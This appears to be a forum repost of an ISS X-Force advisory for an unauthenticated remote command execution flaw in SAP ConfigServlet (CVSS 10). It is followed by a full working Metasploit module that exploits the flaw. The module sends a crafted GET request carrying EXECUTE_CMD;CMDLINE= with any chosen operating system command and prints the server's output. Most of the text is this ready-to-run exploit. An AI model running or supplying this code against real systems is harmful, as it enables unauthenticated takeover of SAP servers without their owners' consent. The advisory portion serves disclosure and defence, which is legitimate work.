SAP ConfigServlet OS Command Execution

[snakeO2]

SAP ConfigServlet OS Command Execution

SAP ConfigServlet command execution

sap-configservlet-command-exec (83637) The risk level is classified as HighHigh Risk

Description:

SAP ConfigServlet could allow a remote attacker to execute arbitrary commands on the system. By sending a specially-crafted GET request, an attacker could exploit this vulnerability to inject and execute arbitrary commands on the system.

*CVSS:

Base Score: 10

Access Vector: Network

Access Complexity: Low

Authentication: None

Confidentiality Impact: Complete

Integrity Impact: Complete

Availability Impact: Complete

Temporal Score: 9

Exploitability: Functional

Remediation Level: Unavailable

Report Confidence: Uncorroborated

Consequences:

Gain Access

Remedy:

No remedy available as of April 24, 2013.

References:

Offensive Security Exploit Database [04-18-2013]: SAP ConfigServlet OS Command Execution.

Packet Storm Security [04-19-2013]: SAP ConfigServlet OS Command Execution.

SAP Web site: SAP.

Platforms Affected:

SAP ConfigServlet

Reported:

Apr 18, 2013

Sursa: ISS X-Force Database: sap-configservlet-command-exec(83637): SAP ConfigServlet command execution

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

    include Msf::Exploit::Remote::HttpClient
    include Msf::Auxiliary::Scanner

    def initialize(info = {})
        super(update_info(info,
            'Name'            => 'SAP ConfigServlet OS command execution',
            'Description'     => %q{
                    This module allows execution of operating system commands through
                the SAP ConfigServlet without any authentication.
            },
            'Author'          =>
                [
                    'Dmitry Chastuhin', # Vulnerability discovery (based on the reference presentation)
                    'Andras Kabai', # Metasploit module
                ],
            'License'         => MSF_LICENSE,
            'References'      =>
                [
                    [ 'URL', 'http://erpscan.com/wp-content/uploads/2012/11/Breaking-SAP-Portal-HackerHalted-2012.pdf'],
                ],
            'DisclosureDate' => 'Nov 01 2012' # Based on the reference presentation
            ))

        register_options(
            [
                Opt::RPORT(50000),
                OptString.new('CMD', [ true, 'The command to execute', 'whoami']),
                OptString.new('PATH', [ true, 'Path to ConfigServlet ', '/ctc/servlet/ConfigServlet']),
                OptBool.new('SSL', [true, 'Use SSL', false])
            ], self.class)
    end

    def run_host(ip)
        begin
            print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD'])
            res = send_request_cgi(
                {
                    'uri'    => datastore['PATH'] + '?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=' + Rex::Text.uri_encode(datastore['CMD']),
                    'method' => 'GET',
                })
            if !res or res.code != 200
                print_error("#{rhost}:#{rport} - Exploit failed.")
                return
            end
        rescue ::Rex::ConnectionError
            print_error("#{rhost}:#{rport} - Failed to connect to the server")
            return
        end

        if res.body.include?("Process created")
            print_good("#{rhost}:#{rport} - Exploited successfully\n")
            print_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n")
            print_line("#{rhost}:#{rport} - Output: #{res.body}")
        else
            print_error("#{rhost}:#{rport} - Exploit failed.")
            vprint_error("#{rhost}:#{rport} - Output: #{res.body}")
        end
    end
end

Sursa: SAP ConfigServlet OS Command Execution